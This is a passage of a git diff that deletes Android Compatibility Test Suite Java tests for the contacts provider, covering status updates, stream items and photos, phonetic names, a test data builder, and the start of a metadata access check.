-                .build());
-
-        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-        assertNotNull(results[0].uri);
-        return results[0].uri;
-    }
-
-    private void assertRowCount(Uri uri, int count) throws Exception {
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-        ops.add(ContentProviderOperation.newAssertQuery(uri)
-                .withExpectedCount(count)
-                .build());
-
-        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-    }
-
-    private void assertPresence(Uri uri, int status) throws Exception {
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-        ops.add(ContentProviderOperation.newAssertQuery(uri)
-                .withValue(StatusUpdates.PRESENCE, status)
-                .withExpectedCount(1)
-                .build());
-
-        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-    }
-
-    private void assertStatus(Uri uri, String status) throws Exception {
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-        ops.add(ContentProviderOperation.newAssertQuery(uri)
-                .withValue(StatusUpdates.STATUS, status)
-                .withExpectedCount(1)
-                .build());
-
-        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-    }
-
-    private void assertHasTimestamp(Uri uri, boolean hasTimestmap) throws Exception {
-        Cursor cursor = mResolver.query(uri, null, null, null, null);
-        try {
-            assertTrue(cursor.moveToNext());
-
-            if (hasTimestmap) {
-                assertNotNull(cursor.getString(cursor.getColumnIndexOrThrow(
-                        StatusUpdates.STATUS_TIMESTAMP)));
-            } else {
-                assertNull(cursor.getString(cursor.getColumnIndexOrThrow(
-                        StatusUpdates.STATUS_TIMESTAMP)));
-            }
-        } finally {
-            cursor.close();
-        }
-    }
-
-    public void testGetPresencePrecedence() {
-        assertPrecedence(StatusUpdates.AVAILABLE);
-        assertPrecedence(StatusUpdates.AWAY);
-        assertPrecedence(StatusUpdates.DO_NOT_DISTURB);
-        assertPrecedence(StatusUpdates.IDLE);
-        assertPrecedence(StatusUpdates.INVISIBLE);
-        assertPrecedence(StatusUpdates.OFFLINE);
-    }
-
-    private void assertPrecedence(int status) {
-        assertTrue(StatusUpdates.getPresencePrecedence(status) >= 0);
-    }
-
-    public void testGetPresenceIconresourceId() {
-        assertResource(StatusUpdates.AVAILABLE);
-        assertResource(StatusUpdates.AWAY);
-        assertResource(StatusUpdates.DO_NOT_DISTURB);
-        assertResource(StatusUpdates.IDLE);
-        assertResource(StatusUpdates.INVISIBLE);
-        assertResource(StatusUpdates.OFFLINE);
-    }
-
-    private void assertResource(int status) {
-        assertTrue(0 != StatusUpdates.getPresenceIconResourceId(status));
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemPhotosTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemPhotosTest.java
deleted file mode 100644
index d45e824..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemPhotosTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract.StreamItemPhotos;
-import android.provider.ContactsContract.StreamItems;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_StreamItemPhotosTest extends AndroidTestCase {
-
-    private ContentResolver mResolver;
-
-    private Uri mStreamItemUri;
-
-    private long mStreamItemId;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = mContext.getContentResolver();
-
-        long rawContactId = ContactsContract_StreamItemsTest.insertRawContact(mResolver);
-        mStreamItemUri = ContactsContract_StreamItemsTest.insertViaContentDirectoryUri(mResolver,
-                rawContactId);
-        mStreamItemId = ContentUris.parseId(mStreamItemUri);
-        assertTrue(mStreamItemId != -1);
-    }
-
-    public void testContentDirectoryUri() {
-        byte[] photoData = PhotoUtil.getTestPhotoData(mContext);
-        ContentValues values = new ContentValues();
-        values.put(StreamItemPhotos.SORT_INDEX, 1);
-        values.put(StreamItemPhotos.PHOTO, photoData);
-
-        Uri insertUri = Uri.withAppendedPath(
-                ContentUris.withAppendedId(StreamItems.CONTENT_URI, mStreamItemId),
-                StreamItems.StreamItemPhotos.CONTENT_DIRECTORY);
-        Uri uri = mResolver.insert(insertUri, values);
-        long photoId = ContentUris.parseId(uri);
-        assertTrue(photoId != -1);
-        assertEquals(Uri.withAppendedPath(insertUri, Long.toString(photoId)), uri);
-    }
-
-    public void testContentPhotoUri() {
-        byte[] photoData = PhotoUtil.getTestPhotoData(mContext);
-        ContentValues values = new ContentValues();
-        values.put(StreamItemPhotos.STREAM_ITEM_ID, mStreamItemId);
-        values.put(StreamItemPhotos.SORT_INDEX, 1);
-        values.put(StreamItemPhotos.PHOTO, photoData);
-
-        Uri uri = mResolver.insert(StreamItems.CONTENT_PHOTO_URI, values);
-        long photoId = ContentUris.parseId(uri);
-        assertTrue(photoId != -1);
-        assertEquals(Uri.withAppendedPath(StreamItems.CONTENT_PHOTO_URI,
-                Long.toString(photoId)), uri);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemsTest.java
deleted file mode 100644
index f8135aa..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_StreamItemsTest.java
+++ /dev/null
@@ -1,182 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderOperation;
-import android.content.ContentProviderResult;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.ContactsContract.StreamItems;
-import android.test.AndroidTestCase;
-
-import java.util.ArrayList;
-
-public class ContactsContract_StreamItemsTest extends AndroidTestCase {
-
-    private static final String ACCOUNT_TYPE = "com.android.cts";
-    private static final String ACCOUNT_NAME = "ContactsContract_StreamItemsTest";
-
-    private static final String INSERT_TEXT = "Wrote a test for the StreamItems class";
-    private static final long INSERT_TIMESTAMP = 3007;
-    private static final String INSERT_COMMENTS = "1337 people reshared this";
-
-    private static final String UPDATE_TEXT = "Wrote more tests for the StreamItems class";
-    private static final long UPDATE_TIMESTAMP = 8008;
-    private static final String UPDATE_COMMENTS = "3007 people reshared this";
-
-    private ContentResolver mResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = mContext.getContentResolver();
-    }
-
-    public void testContentDirectoryUri() throws Exception {
-        long rawContactId = insertRawContact(mResolver);
-        Uri streamItemUri = insertViaContentDirectoryUri(mResolver, rawContactId);
-        long streamItemId = ContentUris.parseId(streamItemUri);
-        assertTrue(streamItemId != -1);
-
-        // Check that the provider returns the stream id in it's URI.
-        assertEquals(streamItemUri,
-                ContentUris.withAppendedId(RawContacts.CONTENT_URI, rawContactId).buildUpon()
-                        .appendPath(RawContacts.StreamItems.CONTENT_DIRECTORY)
-                        .appendPath(Long.toString(streamItemId))
-                        .build());
-
-        // Check that the provider stored what we put into it.
-        assertInsertedItem(streamItemUri);
-
-        // Update the stream item.
-        ContentValues values = new ContentValues();
-        values.put(Data.RAW_CONTACT_ID, rawContactId);
-        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
-        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
-        values.put(StreamItems.TEXT, UPDATE_TEXT);
-        values.put(StreamItems.TIMESTAMP, UPDATE_TIMESTAMP);
-        values.put(StreamItems.COMMENTS, UPDATE_COMMENTS);
-
-        assertEquals(1, mResolver.update(streamItemUri, values, null, null));
-        assertUpdatedItem(streamItemUri);
-    }
-
-    static long insertRawContact(ContentResolver resolver) {
-        // Create a contact to attach the stream item to it.
-        ContentValues values = new ContentValues();
-        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
-        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
-
-        Uri contactUri = resolver.insert(RawContacts.CONTENT_URI, values);
-        long rawContactId = ContentUris.parseId(contactUri);
-        assertTrue(rawContactId != -1);
-        return rawContactId;
-    }
-
-    static Uri insertViaContentDirectoryUri(ContentResolver resolver, long rawContactId) {
-        // Attach a stream item to the contact.
-        ContentValues values = new ContentValues();
-        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
-        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
-        values.put(StreamItems.TEXT, INSERT_TEXT);
-        values.put(StreamItems.TIMESTAMP, INSERT_TIMESTAMP);
-        values.put(StreamItems.COMMENTS, INSERT_COMMENTS);
-
-        Uri contactStreamUri = Uri.withAppendedPath(
-                ContentUris.withAppendedId(RawContacts.CONTENT_URI, rawContactId),
-                RawContacts.StreamItems.CONTENT_DIRECTORY);
-        return resolver.insert(contactStreamUri, values);
-    }
-
-    public void testContentUri() throws Exception {
-        // Create a contact with one stream item in it.
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-
-        ops.add(ContentProviderOperation.newInsert(RawContacts.CONTENT_URI)
-                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
-                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
-                .build());
-
-        ops.add(ContentProviderOperation.newInsert(StreamItems.CONTENT_URI)
-                .withValueBackReference(Data.RAW_CONTACT_ID, 0)
-                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
-                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
-                .withValue(StreamItems.TEXT, INSERT_TEXT)
-                .withValue(StreamItems.TIMESTAMP, INSERT_TIMESTAMP)
-                .withValue(StreamItems.COMMENTS, INSERT_COMMENTS)
-                .build());
-
-        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-        long rawContactId = ContentUris.parseId(results[0].uri);
-        assertTrue(rawContactId != -1);
-
-        Uri streamItemUri = results[1].uri;
-        long streamItemId = ContentUris.parseId(streamItemUri);
-        assertTrue(streamItemId != -1);
-
-        // Check that the provider returns the stream id in it's URI.
-        assertEquals(streamItemUri,
-                ContentUris.withAppendedId(StreamItems.CONTENT_URI, streamItemId));
-
-        // Check that the provider stored what we put into it.
-        assertInsertedItem(streamItemUri);
-
-        // Update the stream item.
-        ops.clear();
-        ops.add(ContentProviderOperation.newUpdate(streamItemUri)
-                .withValue(Data.RAW_CONTACT_ID, rawContactId)
-                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
-                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
-                .withValue(StreamItems.TEXT, UPDATE_TEXT)
-                .withValue(StreamItems.TIMESTAMP, UPDATE_TIMESTAMP)
-                .withValue(StreamItems.COMMENTS, UPDATE_COMMENTS)
-                .build());
-
-        results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-        assertEquals(Integer.valueOf(1), results[0].count);
-        assertUpdatedItem(streamItemUri);
-    }
-
-    private void assertInsertedItem(Uri itemUri) {
-        assertStreamItem(itemUri, INSERT_TEXT, INSERT_TIMESTAMP, INSERT_COMMENTS);
-    }
-
-    private void assertUpdatedItem(Uri itemUri) {
-        assertStreamItem(itemUri, UPDATE_TEXT, UPDATE_TIMESTAMP, UPDATE_COMMENTS);
-    }
-
-    private void assertStreamItem(Uri uri, String text, long timestamp, String comments) {
-        Cursor cursor = mResolver.query(uri, null, null, null, null);
-        try {
-            assertTrue(cursor.moveToFirst());
-            assertEquals(text, cursor.getString(
-                    cursor.getColumnIndexOrThrow(StreamItems.TEXT)));
-            assertEquals(timestamp, cursor.getLong(
-                    cursor.getColumnIndexOrThrow(StreamItems.TIMESTAMP)));
-            assertEquals(comments, cursor.getString(
-                    cursor.getColumnIndexOrThrow(StreamItems.COMMENTS)));
-        } finally {
-            cursor.close();
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_StructuredPhoneticName.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_StructuredPhoneticName.java
deleted file mode 100644
index 42bc6d2..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_StructuredPhoneticName.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import junit.framework.Assert;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.AggregationExceptions;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.DisplayNameSources;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestData;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.ContactUtil;
-import android.test.AndroidTestCase;
-
-/**
- * CTS tests for {@link DisplayNameSources#STRUCTURED_PHONETIC_NAME}.
- */
-public class ContactsContract_StructuredPhoneticName extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mBuilder.cleanup();
-        super.tearDown();
-    }
-
-    public void testPhoneticStructuredName() throws Exception {
-        // Setup: contact with only phonetic name
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.PHONETIC_FAMILY_NAME, "phonetic name")
-                .insert();
-        rawContact1.load();
-        name1.load();
-
-        // Verify: DISPLAY_NAME_SOURCE notices that the StructuredName only has phonetic components
-        TestContact contact = rawContact1.getContact().load();
-        contact.assertColumn(Contacts.DISPLAY_NAME_SOURCE,
-                DisplayNameSources.STRUCTURED_PHONETIC_NAME);
-    }
-
-    public void testPhoneticNameStyleColumnName() throws Exception {
-        // Make sure the column name is data11 and not phonetic_name_style
-        // from the parent class.
-        assertEquals(Data.DATA11, StructuredName.PHONETIC_NAME_STYLE);
-    }
-
-    public void testPhoneticStructuredName_phoneticPriority1() throws Exception {
-        // Setup: one raw contact has a complex phonetic name and the other a simple given name
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name")
-                .insert();
-        rawContact1.load();
-        name1.load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.PHONETIC_FAMILY_NAME, "name phonetic")
-                .insert();
-        rawContact2.load();
-        name2.load();
-
-        // Execute: aggregate the two raw contacts together
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
-                rawContact1.getId(), rawContact2.getId());
-
-        // Sanity check: two contacts are aggregated
-        rawContact1.load();
-        rawContact2.load();
-        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
-
-        // Verify: the display name is taken from the name with more than phonetic components
-        TestContact contact = rawContact2.getContact().load();
-        contact.assertColumn(Contacts.DISPLAY_NAME, "name");
-    }
-
-    // Same as testPhoneticStructuredName_phoneticPriority1, but with setup order reversed
-    public void testPhoneticStructuredName_phoneticPriority2() throws Exception {
-        // Setup: one raw contact has a complex phonetic name and the other a simple given name
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.PHONETIC_FAMILY_NAME, "name phonetic")
-                .insert();
-        rawContact2.load();
-        name2.load();
-
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "name")
-                .insert();
-        rawContact1.load();
-        name1.load();
-
-        // Execute: aggregate the two raw contacts together
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
-                rawContact1.getId(), rawContact2.getId());
-
-        // Sanity check: two contacts are aggregated
-        rawContact1.load();
-        rawContact2.load();
-        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
-
-        // Verify: the display name is taken from the name with more than phonetic components
-        TestContact contact = rawContact2.getContact().load();
-        contact.assertColumn(Contacts.DISPLAY_NAME, "name");
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_TestDataBuilder.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_TestDataBuilder.java
deleted file mode 100644
index 471f895..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_TestDataBuilder.java
+++ /dev/null
@@ -1,372 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import com.google.android.collect.Lists;
-import com.google.android.collect.Sets;
-
-import android.content.ContentProviderClient;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.BaseColumns;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.Groups;
-import android.provider.ContactsContract.RawContacts;
-import android.text.TextUtils;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
-
-import junit.framework.Assert;
-import junit.framework.ComparisonFailure;
-
-/**
- * A test data builder for ContactsContract tests.
- */
-public class ContactsContract_TestDataBuilder {
-    private ContentProviderClient mProvider;
-    private ArrayList<Builder<?>> mCreatedRows = Lists.newArrayList();
-    private HashSet<Builder<?>> mLoadedRows = Sets.newHashSet();
-
-    private interface IdQuery {
-        String[] COLUMNS = new String[] {
-            BaseColumns._ID,
-        };
-
-        int _ID = 0;
-    }
-
-    public abstract class  Builder<T extends Builder<?>> extends Assert {
-        protected ContentValues mValues = new ContentValues();
-        private Uri mUri;
-        private long mId = -1;
-        private Cursor mCursor;
-
-        protected abstract Uri getContentUri();
-
-        public long getId() throws Exception {
-            if (mId != -1) {
-                return mId;
-            }
-
-            assertNotNull("Row has not be inserted or loaded yet", mUri);
-
-            Cursor cursor = mProvider.query(mUri, IdQuery.COLUMNS, null, null, null, null);
-            if (cursor != null) {
-                try {
-                    cursor.moveToFirst();
-                    mId = cursor.getInt(IdQuery._ID);
-                } finally {
-                    cursor.close();
-                }
-
-            }
-            assertTrue("Could not obtain _ID for URI: " + mUri, mId != -1);
-            return mId;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T setUri(Uri uri) {
-            mUri = uri;
-            return (T)this;
-        }
-
-        public Uri getUri() {
-            if (mUri == null) {
-                assertTrue("Neither URI nor ID has been specified", mId != -1);
-                mUri = ContentUris.withAppendedId(getContentUri(), mId);
-            }
-            return mUri;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T with(String key, String value) {
-            mValues.put(key, value);
-            return (T)this;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T with(String key, long value) {
-            mValues.put(key, value);
-            return (T)this;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T with(String key, byte[] value) {
-            mValues.put(key, value);
-            return (T)this;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T insert() throws Exception {
-            insertDependent();
-            mCreatedRows.add(this);
-            return (T)this;
-        }
-
-        @SuppressWarnings("unchecked")
-        public T insertDependent() throws Exception {
-            mUri = mProvider.insert(getContentUri(), mValues);
-            assertNotNull("Could not insert a row in " + getContentUri(), mUri);
-            mId = ContentUris.parseId(mUri);
-            return (T)this;
-        }
-
-        public void delete() throws Exception {
-            int count = mProvider.delete(getUri(), null, null);
-            assertEquals("Wrong number of rows deleted for " + getUri(), 1, count);
-        }
-
-        public void deletePermanently() throws Exception {
-            Uri uri = getUri().buildUpon()
-                    .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, "true")
-                    .build();
-            int count = mProvider.delete(uri, null, null);
-            assertEquals("Wrong number of rows deleted for " + uri, 1, count);
-            mCreatedRows.remove(this);
-        }
-
-        @SuppressWarnings("unchecked")
-        public T load() throws Exception {
-            close();
-            mLoadedRows.add(this);
-
-            mCursor = mProvider.query(getUri(), null, null, null, null, null);
-            if (mCursor == null || !mCursor.moveToFirst()) {
-                return null;
-            } else {
-                return (T) this;
-            }
-        }
-
-        @SuppressWarnings("unchecked")
-        public T loadUsingValues() throws Exception {
-            close();
-            mLoadedRows.add(this);
-
-            StringBuilder selection = new StringBuilder();
-            ArrayList<String> selectionArgs = Lists.newArrayList();
-            Set<Map.Entry<String, Object>> entries = mValues.valueSet();
-            for (Map.Entry<String, Object> entry : entries) {
-                String column = entry.getKey();
-                Object value = entry.getValue();
-
-                if (selection.length() != 0) {
-                    selection.append(" AND ");
-                }
-
-                selection.append(column);
-                if (value == null) {
-                    selection.append(" NOT NULL");
-                } else {
-                    selection.append("=?");
-                    selectionArgs.add(value.toString());
-                }
-            }
-            mCursor = mProvider.query(getContentUri(), null,
-                    selection.toString(),
-                    selectionArgs.toArray(new String[0]), null, null);
-            if (mCursor == null || !mCursor.moveToFirst()) {
-                fail("No data rows for " + getContentUri() + "[" + mValues.toString() + "]");
-            }
-            mId = mCursor.getLong(getColumnIndex(BaseColumns._ID));
-            return (T)this;
-        }
-
-        public long getLong(String columnName) {
-            return mCursor.getLong(mCursor.getColumnIndex(columnName));
-        }
-
-        public String getString(String columnName) {
-            return mCursor.getString(mCursor.getColumnIndex(columnName));
-        }
-
-        public void assertColumn(String columnName, long value) {
-            assertEquals(value, mCursor.getLong(getColumnIndex(columnName)));
-        }
-
-        public void assertColumn(String columnName, String value) {
-            assertEquals(value, mCursor.getString(getColumnIndex(columnName)));
-        }
-
-        public void assertColumn(String columnName, byte[] value) {
-            assertEquals(value, mCursor.getBlob(getColumnIndex(columnName)));
-        }
-
-        public void assertBlobColumnNotNull(String columnName) {
-            assertNotNull(mCursor.getBlob(getColumnIndex(columnName)));
-        }
-
-        public void assertBlobColumnNull(String columnName) {
-            assertNull(mCursor.getBlob(getColumnIndex(columnName)));
-        }
-
-        public void assertEquals(byte[] expected, byte[] actual) {
-            assertEquals(null, expected, actual);
-        }
-
-        public void assertEquals(String message, byte[] expected, byte[] actual) {
-            if (expected == null && actual == null)
-                return;
-            if (expected != null && Arrays.equals(actual, expected))
-                return;
-            throw new ComparisonFailure(message, expected.toString(), actual.toString());
-        }
-
-        private int getColumnIndex(String columnName) {
-            int index = mCursor.getColumnIndex(columnName);
-            assertTrue("No such column: " + columnName +
-                    ". Available columns: " + TextUtils.join(", ", mCursor.getColumnNames()),
-                    index != -1);
-            return index;
-        }
-
-        public void close() {
-            if (mCursor != null) {
-                mCursor.close();
-                mCursor = null;
-            }
-            mLoadedRows.remove(this);
-        }
-
-    }
-
-    public class TestRawContact extends Builder<TestRawContact> {
-
-        private TestContact mContact;
-
-        @Override
-        protected Uri getContentUri() {
-            return RawContacts.CONTENT_URI;
-        }
-
-        public TestData newDataRow(String mimeType) {
-            return new TestData(this, mimeType);
-        }
-
-        public long getContactId() {
-            return getLong(RawContacts.CONTACT_ID);
-        }
-
-        public TestContact getContact() throws Exception {
-            if (mContact == null) {
-                mContact = new NestedTestContact(this);
-            }
-            return mContact;
-        }
-    }
-
-    public class TestContact extends Builder<TestContact> {
-
-        @Override
-        protected Uri getContentUri() {
-            return Contacts.CONTENT_URI;
-        }
-    }
-
-    private class NestedTestContact extends TestContact {
-        private final TestRawContact mRawContact;
-
-        public NestedTestContact(TestRawContact rawContact) {
-            mRawContact = rawContact;
-        }
-
-        @Override
-        public long getId() throws Exception {
-            return mRawContact.getContactId();
-        }
-
-        @Override
-        public TestContact load() throws Exception {
-            return with(Contacts._ID, mRawContact.getContactId()).loadUsingValues();
-        }
-    }
-
-    public class TestGroup extends Builder<TestGroup> {
-
-        @Override
-        protected Uri getContentUri() {
-            return Groups.CONTENT_URI;
-        }
-    }
-
-    public class TestData extends Builder<TestData> {
-        private final TestRawContact mRawContact;
-
-        public TestData(TestRawContact rawContact, String mimeType) {
-            this.mRawContact = rawContact;
-            mValues.put(Data.MIMETYPE, mimeType);
-        }
-
-        @Override
-        protected Uri getContentUri() {
-            return Data.CONTENT_URI;
-        }
-
-        @Override
-        public TestData insert() throws Exception {
-            mValues.put(Data.RAW_CONTACT_ID, mRawContact.getId());
-            return super.insertDependent();
-        }
-
-        public long getRawContactId() {
-            return getLong(Data.RAW_CONTACT_ID);
-        }
-
-        public long getId() {
-            return getLong(Data._ID);
-        }
-
-        public TestRawContact getRawContact() throws Exception {
-            return mRawContact;
-        }
-    }
-
-    public ContactsContract_TestDataBuilder(ContentProviderClient provider) {
-        this.mProvider = provider;
-    }
-
-    public TestRawContact newRawContact() {
-        return new TestRawContact();
-    }
-
-    public TestContact newContact() {
-        return new TestContact();
-    }
-
-    public TestGroup newGroup() {
-        return new TestGroup();
-    }
-
-    public void cleanup() throws Exception {
-        for (Builder<?> builder : new ArrayList<Builder<?>>(mCreatedRows)) {
-            builder.deletePermanently();
-        }
-
-        for (Builder<?> builder : new HashSet<Builder<?>>(mLoadedRows)) {
-            builder.close();
-        }
-    }
-
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsMetadataProviderTest.java b/tests/tests/provider/src/android/provider/cts/ContactsMetadataProviderTest.java
deleted file mode 100644
index 424b256..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsMetadataProviderTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.provider.cts;
-
-import android.content.ContentValues;
-import android.net.Uri;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-/**
- * Make sure the provider is protected.
- *
- * Run with:
- * cts-tradefed run cts --class android.provider.cts.ContactsMetadataProviderTest < /dev/null
- */
-public class ContactsMetadataProviderTest extends AndroidTestCase {
-
-    /** The authority for the contacts metadata */
-    public static final String METADATA_AUTHORITY = "com.android.contacts.metadata";
-
-    /** A content:// style uri to the authority for the contacts metadata */
-    public static final Uri METADATA_AUTHORITY_URI = Uri.parse(
-            "content://" + METADATA_AUTHORITY);
-
-    /**
-     * The content:// style URI for this table.
-     */
-    public static final Uri CONTENT_URI = Uri.withAppendedPath(METADATA_AUTHORITY_URI,
-            "metadata_sync");
-
-    public void testCallerCheck() {
-        try {
-            getContext().getContentResolver().query(CONTENT_URI, null, null, null, null);
-            fail();
